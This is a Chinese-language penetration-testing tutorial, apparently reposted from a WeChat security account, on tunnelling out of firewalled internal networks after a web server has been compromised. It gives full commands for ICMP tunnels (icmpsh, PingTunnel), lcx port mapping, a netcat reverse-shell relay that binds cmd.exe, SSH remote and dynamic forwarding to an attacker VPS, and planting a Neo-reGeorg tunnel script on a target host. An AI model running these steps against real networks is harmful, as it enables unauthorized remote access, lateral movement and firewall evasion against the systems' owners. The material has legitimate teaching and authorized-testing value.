概述
理论上,任何接入互联网的计算机都可以被访问,但事实上,内网的计算机由于安全问题而被防火墙等边界设备做一些策略隔离,从而不被外界访问或诸多限制。这时我们可以借助一些端口转发工具来建立边界设备允许的协议通信,从而使我们可以访问内网环境,或者说内网机器可以与我们建立通信。
ICMP 隧道
ICMP 隧道简单、实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在 ICMP 协议下就不需要。
最常见的 ICMP 消息为 ping 命令的回复,攻击者可以利用命令得到比回复更多的 ICMP 请求。常用的 ICMP 隧道有 icmpsh,pingtunel,powershell icmp 等。
下文将介绍 icmp 和 pingtunnel。
ICMPSH拓扑图:
背景:由于防火墙的策略,Windows 7 无法访问外网的 web 服务,邮件服务,但 ICMP 协议可以使用。
在 Kali 中需下载 impacket 库和 icmpsh 两款工具。
impacket 安装
git clone https://github.com/CoreSecurity/impacket.git
Cd impacket
python setup.py install
下载 icmpsh 并且把本地的 ping 禁掉。(注:ping 没禁掉的话,VPS 只能一直接受信息而发不出 ping 命令)
git clone https://github.com/inquisb/icmpsh.git
sysctl -w net.ipv4.icmp_echo_ignore_all=1
切换到 icmpsh 启动
Cd icmpsh
./icmpsh_m.py 192.168.1.129(本机IP) 192.168.1.130(本机网关)
Window 7:
Kali:
Pingtunnel 拓扑图:
背景:当我们拿下 WebServer,但 win7 并不允许我们直接通过 3389 端口去访问,我们能过去的只有 ICMP 协议的流量。
Pingtunnel 软件环境的安装
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
install flex bison
install -y byacc
./configure
make && make install
man pcap
Kali web 开启监听
ping 10.0.1.4
cd /root/PingTunnel
ptunnel -x a316c
VPS启动连接
Cd /root/PingTunnel
ptunnel -p 192.168.1.131 -lp 1080 -da 10.0.1.4 -dp 3389 -x a316c
参数说明
-p 指定服务器端IP地址
-lp 侦听本地端口
-da 访问目标的IP地址
-dp 访问目标的端口
-x 连接密码
Redesktop 连接本地 1080 端口,成功访问远程桌面。
TCP隧道
Lcx拓扑图:
wget http://www.vuln.cn/wpcontent/uploads/2016/06/lcx_vuln.cn_.zip
unzip lcx_vuln.cn_.zip
cd lcx_vuln.cn
chmod a+x portmap
./portmap -m 2 -p1 2222 -h2 192.168.1.129 -p2 3333
#将本地端口3333转发到2222(访问2222等于访问3333)
Window 7 :
Lcx.exe -slave 192.168.1.129 3333 10.0.1.4 3389
#允许3389流量通过3333端口
NC:
kali 开启监听,等待靶机反弹 shell
靶机将 shell 反弹至 kali
以 Web Server 为跳板机做一个端口转发,获取内网机子 shell 权限
VPS(控制端)
nc -lvp 10000
win7 (目标端)
nc -lvp 10000 -e C:\WindowsSystem32cmd.exe
kali web (代理端)
nc -v 192.168.1.129 10000 -c "nc -v 10.0.1.4 10000"
隧道打通:
SSH隧道
SSH拓扑图:
kali web
将 3389 端口转发给 VPS
窗口1:
ssh -R 2222:10.0.1.4:3389 root@192.168.1.129
VPS 获取内网远程桌面服务
动态转发:
VPS
安装 proxychains
apt-get install proxychains
vim /etc/proxychains.conf
注释一行socks4 127.0.0.1 9050
添加一行socks5 127.0.0.1 1080
窗口1:
ssh -D 1080 root@192.168.1.131
尝试远程桌面Win7
窗口2:
proxychains rdesktop 10.0.1.4
HTTP隧道
Neo-reGeorg工具
https://github.com/L-codes/Neo-reGeorg
常见用法:
neoreg.y -k 12345 #passwd
生成隧道脚本文件
将脚本文件放到目标主机,并启动连接
neoreg.py -k 123456 -u http://xxxx/tunnel.php
通过 Proxifier 代理全局流量
- End -
原文始发于微信公众号(NS Demon团队):内网渗透之常见的隧道代理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论